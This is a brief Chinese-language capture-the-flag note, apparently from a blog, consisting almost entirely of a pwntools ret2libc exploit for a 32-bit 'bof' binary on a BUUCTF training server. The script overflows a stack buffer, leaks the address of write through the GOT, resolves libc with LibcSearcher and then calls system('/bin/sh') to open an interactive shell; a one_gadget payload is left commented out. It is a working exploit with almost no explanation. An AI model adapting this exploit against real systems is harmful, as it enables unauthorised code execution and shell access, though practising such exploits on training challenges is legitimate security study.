libc3的题目就这样吧dynelf用不来

    1. from pwn import *
    2. from LibcSearcher import*
    3. io = remote("node4.buuoj.cn",27174)
    4. context.log_level = 'debug'
    5. #io=process('./bof')
    6. elf = ELF('./bof')
    7. #libc = ELF('libc-2.23.so')
    8. write_plt = elf.plt['write']
    9. write_got = elf.got['write']
    10. vnln_addr = elf.sym['vuln']
    11. read_got = elf.got['read']
    12. io.recv()
    13. payload = b'a'*(0x6c+4)+p32(write_plt)+p32(vnln_addr)+p32(1)+p32(write_got)+p32(0x8)
    15. io.sendline(payload)
    16. write_addr = u32(io.recv(4))
    17. log.success('write:'+hex(write_addr))
    18. libc = LibcSearcher('write',write_addr)
    20. libcbase = write_addr - libc.dump('write')
    21. system_addr = libcbase +libc.dump('system')
    22. bin_sh_addr = libcbase +libc.dump('str_bin_sh')
    23. payload = b'a'*(0x6c+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
    24. #payload = b'a'*(0x6c+4)+p32(libcbase+0xf1147)
    25. io.sendline(payload)
    26. io.interactive()